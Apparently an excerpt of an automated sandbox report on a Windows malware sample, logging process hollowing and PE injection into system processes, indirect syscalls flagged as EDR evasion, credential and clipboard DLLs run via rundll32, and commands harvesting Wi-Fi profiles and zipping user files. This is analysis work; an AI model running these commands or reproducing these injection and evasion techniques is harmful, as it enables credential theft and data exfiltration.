Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B3100 OpenProcess,GetModuleHandleA,GetProcAddress,CloseHandle,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualFreeEx,CloseHandle,	5_2_0C5B3100
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B4200 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	5_2_0C5B4200
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF673522CB8 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	6_2_00007FF673522CB8
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB52CB8 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	8_2_00007FF6FDB52CB8
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B522CB8 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	9_2_00007FF63B522CB8

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\svchost.exe

Thread created: C:\Windows\explorer.exe EIP: B00AB10

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	NtUnmapViewOfSection: Indirect: 0x7FF6735223DC			Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	NtUnmapViewOfSection: Indirect: 0x7FF7CDC423DC			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: AFF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\svchost.exe

Memory written: PID: 2592 base: AFF0000 value: 4D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Thread register set: target process: 5620	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Thread register set: target process: 2012	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Thread register set: target process: 2704	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 3000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 740	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 1884	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 2084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 2184	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Thread register set: target process: 2376	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF6FDB50000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF63B520000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF63B520000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF6FDB50000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF63B520000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF6FDB50000	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB51000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB55000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB57000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB58000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB59000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB5A000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\audiodg.exe base: A2DF4CD010	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA1000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA5000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA7000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA8000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA9000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEAA000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\svchost.exe base: FEA05FA010	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B521000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B525000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B527000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B528000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B529000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B52A000	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory written: C:\Windows\System32\msiexec.exe base: 2A2C4F010	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: AFF0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA1000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA5000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA7000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA8000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA9000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEAA000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 3C09BC010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B521000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B525000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B527000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B528000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B529000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B52A000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 3C84925010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB51000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB55000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB57000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB58000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB59000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB5A000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: F3BE781010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B520000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B521000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B525000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B527000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B528000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B529000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF63B52A000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\msiexec.exe base: BE44790010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB51000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB55000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB57000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB58000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB59000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF6FDB5A000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\audiodg.exe base: 954DB0C010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA1000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA5000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA7000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA8000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEA9000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF68DEAA000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory written: C:\Windows\System32\svchost.exe base: 1964271010	Jump to behavior

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal

Source: explorer.exe, 00000005.00000003.2195046307.00000000088B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3084849985.00000000088B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817477246.0000000004040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.1326805098.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3805890683.0000000000BB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000002.3800899571.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1326366348.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanZw
Source: explorer.exe, 00000005.00000000.1326805098.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3805890683.0000000000BB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.1326805098.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3805890683.0000000000BB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Windows\explorer.exe

Code function: 5_2_0B0107EC cpuid

5_2_0B0107EC

Source: C:\Windows\explorer.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_0B0173AC
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	5_2_0B01823C
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	5_2_0B017AB4
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	5_2_0B00EACC
Source: C:\Windows\explorer.exe	Code function: __crtGetLocaleInfoA,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,_calloc_crt,free,	5_2_0B010098
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,	5_2_0B017528
Source: C:\Windows\explorer.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,	5_2_0C5D0C98
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	5_2_0C5D7E50
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	5_2_0C5D8E3C
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,GetCPInfo,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	5_2_0C5CF6CC
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	5_2_0C5D86B4
Source: C:\Windows\explorer.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_0C5D7FAC
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	5_2_0C5DA040
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,	5_2_0C5DA0F4
